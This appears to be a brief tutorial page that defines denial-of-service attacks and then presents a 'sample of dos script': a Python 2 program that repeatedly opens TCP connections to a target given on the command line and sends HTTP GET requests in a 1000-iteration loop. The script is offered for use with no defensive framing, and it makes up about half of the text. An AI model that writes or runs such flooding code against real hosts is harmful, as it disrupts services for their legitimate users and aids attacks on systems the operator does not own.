DOS attack

A denial-of-service attack (DoS attack) is a cyber-attackwhere the perpetrator seeks to make a machine or network resource unavailable to its intended users, such as to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet . Many DoS attacks, such as the Ping of Death and Teardrop attacks, exploit limitations in the TCP/IPprotocols. For all known DoS attacks, there are software fixes that system administrators can install to limit the damage caused by the attacks. But, like viruses, new DoS attacks are constantly being dreamed up by hackers.

A sample of dos script is given below

import socket, sys, os  

print "][ Attacking " + sys.argv[1]  + " ... ]["  

print "injecting " + sys.argv[2];  

def attack():  

    #pid = os.fork()  

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  

    s.connect((sys.argv[1], 80))  

    print ">> GET /" + sys.argv[2] + " HTTP/1.1"  

    s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  

    s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  

    s.close()  

for i in range(1, 1000):  

    attack()

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